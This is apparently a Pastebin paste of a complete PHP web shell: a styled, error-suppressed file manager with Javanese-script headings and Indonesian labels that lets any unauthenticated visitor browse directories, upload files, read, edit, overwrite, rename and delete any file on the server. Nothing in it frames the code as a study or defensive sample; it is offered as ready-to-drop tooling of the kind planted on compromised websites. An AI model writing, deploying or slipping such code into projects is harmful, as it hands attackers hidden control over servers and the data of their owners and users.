Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- <?php error_reporting(0); ?>
- <!DOCTYPE html>
- <html>
- <head>
- <title>ꦆꦤ꧀ꦝꦿꦩꦪꦸꦲꦕ꧀ꦏꦺꦂꦫꦸꦭꦺꦱ꧀</title>
- <link href="https://fonts.googleapis.com/css2?family=Courgette&family=Cuprum:ital@1&family=Rowdies&display=swap" rel="stylesheet">
- </head>
- <style>
- * {
- font-family: cursive;
- color: #000;
- font-family: 'Cuprum', sans-serif;
- }
- body {
- background-repeat: no-repeat;
- background-attachment:fixed;
- background-size: 100% 1700px;
- }
- body h1{
- color: #A52A2A;
- text-shadow: 2px 2px 2px #000;
- font-size: 50px;
- }
- .dir {
- text-align: center;
- font-size: 30px;
- }
- .dir a{
- text-decoration: none;
- color: #48D1CC;
- text-shadow: 1px 1px 1px #000;
- }
- .dir a:hover{
- text-decoration: none;
- color: red;
- }
- table {
- margin: 12px auto;
- height: 100%;
- border-collapse: collapse;
- font-size: 30px;
- }
- table,th {
- border-top:1px solid #000;
- border-right:3px solid #000;
- border-bottom: 3px solid #000;
- border-left:1px solid #000;
- box-sizing: border-box;
- padding: 2px 2px;
- color: #F0E68C;
- text-shadow: 1px 1px 1px #000;
- }
- table,td {
- border-top:1px solid #000;
- border-right:3px solid #000;
- border-bottom: .5px solid #000;
- border-left:1px solid #000;
- box-sizing: border-box;
- padding: 8px 8px;
- color: red;
- }
- table,td a {
- text-decoration: none;
- color:#8A2BE2;
- text-shadow: 1px 1px 1px #000;
- }
- table,td a:hover {
- text-decoration: none;
- color: red;
- }
- .button1 {
- width: 70px;
- height: 30px;
- background-color: #999;
- margin: 10px 3px;
- padding: 5px;
- color: #000;
- border-radius: 5px;
- border: 1px solid #000;
- box-shadow: .5px .5px .3px .3px #fff;
- box-sizing: border-box;
- }
- .button1 a{
- width: 70px;
- height: 30px;
- background-color: #999;
- margin: 10px 3px;
- padding: 5px;
- color: red;
- border-radius: 5px;
- border: 1px solid #000;
- box-shadow: .5px .5px .3px .3px #fff;
- box-sizing: border-box;
- }
- .button1:hover {
- text-shadow: 0px 0px 5px #fff;
- box-shadow: .5px .5px .3px .3px #555;
- text-decoration: none;
- }
- textarea {
- border: 1px solid green;
- border-radius: 5px;
- box-shadow: 1px 1px 1px 1px #fff;
- width: 100%;
- height: 400px;
- padding-left: 10px;
- margin: 10px auto;
- resize: none;
- background: green;
- color: #ffffff;
- font-family: 'Cuprum', sans-serif;
- font-size: 13px;
- }
- </style>
- <body>
- <center><h1>ꦆꦤ꧀ꦝꦿꦩꦪꦸꦲꦕ꧀ꦏꦺꦂꦠꦼꦄꦩ꧀</h1></center>
- <div class="dir">
- <?php
- if (isset($_GET['dir'])) {
- $dir = $_GET['dir'];
- } else {
- $dir = getcwd();
- }
- $dir = str_replace("\\", "/", $dir);
- $dirs = explode("/", $dir);
- foreach ($dirs as $key => $value) {
- if ($value == "" && $key == 0){
- echo '<a href="/">/</a>'; continue;
- } echo '<a href="?dir=';
- for ($i=0; $i <= $key ; $i++) {
- echo "$dirs[$i]"; if ($key !== $i) echo "/";
- } echo '">'.$value.'</a>/';
- }
- if (isset($_POST['submit'])){
- $namafile = $_FILES['upload']['name'];
- $tempatfile = $_FILES['upload']['tmp_name'];
- $tempat = $_GET['dir'];
- $error = $_FILES['upload']['error'];
- $ukuranfile = $_FILES['upload']['size'];
- move_uploaded_file($tempatfile, $dir.'/'.$namafile);
- echo "
- <script>alert('diupload!!!');</script>
- ";
- }
- ?>
- <form method="post" enctype="multipart/form-data">
- <input type="file" name="upload">
- <input type="submit" name="submit" value="Upload">
- </form>
- </div>
- <table>
- <tr>
- <th>Nama File / Folder</th>
- <th>Size</th>
- <th>Action</th>
- </tr>
- <?php
- $scan = scandir($dir);
- foreach ($scan as $directory) {
- if (!is_dir($dir.'/'.$directory) || $directory == '.' || $directory == '..') continue;
- echo '
- <tr>
- <td><a href="?dir='.$dir.'/'.$directory.'">'.$directory.'</a></td>
- <td>--</td>
- <td>NONE</td>
- </tr>
- ';
- }
- foreach ($scan as $file) {
- if (!is_file($dir.'/'.$file)) continue;
- $jumlah = filesize($dir.'/'.$file)/1024;
- $jumlah = round($jumlah, 3);
- if ($jumlah >= 1024) {
- $jumlah = round($jumlah/1024, 2).'MB';
- } else {
- $jumlah = $jumlah .'KB';
- }
- echo '
- <tr>
- <td><a href="?dir='.$dir.'&open='.$dir.'/'.$file.'">'.$file.'</a></td>
- <td>'.$jumlah.'</td>
- <td>
- <a href="?dir='.$dir.'&delete='.$dir.'/'.$file.'" class="button1">Hapus</a>
- <a href="?dir='.$dir.'&ubah='.$dir.'/'.$file.'" class="button1">Edit</a>
- <a href="?dir='.$dir.'&rename='.$dir.'/'.$file.'&nama='.$file.'" class="button1">Rename</a>
- </td>
- </tr>
- ';
- }
- if (isset($_GET['open'])) {
- echo '
- <br />
- <style>
- table {
- display: none;
- }
- </style>
- <textarea>'.htmlspecialchars(file_get_contents($_GET['open'])).'</textarea>
- ';
- }
- if (isset($_GET['delete'])) {
- if (unlink($_GET['delete'])) {
- echo "<script>alert('dihapus');window.location='?dir=".$dir."';</script>";
- }
- }
- if (isset($_GET['ubah'])) {
- echo '
- <style>
- table {
- display: none;
- }
- </style>
- <a href="?dir='.$dir.'" class="button1"><=Back</a>
- <form method="post" action="">
- <input type="hidden" name="object" value="'.$_GET['ubah'].'">
- <textarea name="edit">'.htmlspecialchars(file_get_contents($_GET['ubah'])).'</textarea>
- <center><button type="submit" name="go" value="Submit" class="button1">Liking</button></center>
- </form>
- ';
- }
- if (isset($_POST['edit'])) {
- $data = fopen($_POST["object"], 'w');
- if (fwrite($data, $_POST['edit'])) {
- echo
- '
- <script>alert("Berhasil diedit!!!");window.location="?dir='.$dir.'";</script>
- ';
- } else {
- echo "
- <script>alert('gagal');</script>
- ";
- }
- }
- if($_GET['rename']){
- if(isset($_POST['newname'])){
- if(rename($_GET['rename'], $_GET['dir'] . '/' .$_POST['newname'])){
- echo '<font color="green">Ganti Nama Berhasil</font><br/>';
- echo "<script>window.location='?dir=".$dir."';</script>";
- }else{
- echo '<font color="red">Ganti Nama Gagal</font><br />';
- }
- }
- echo '<br><center><form method="POST">
- New Name : <input name="newname" type="text" size="20" value="'.$_GET['nama'].'" />
- <input type="hidden" name="path" value="'.$_GET['dir'].'">
- <input type="hidden" name="opt" value="rename">
- <input type="submit" value="Go" />
- </form></center>';
- }
- ?>
- </table>
- </body>
- </html>
Add Comment
Please, Sign In to add comment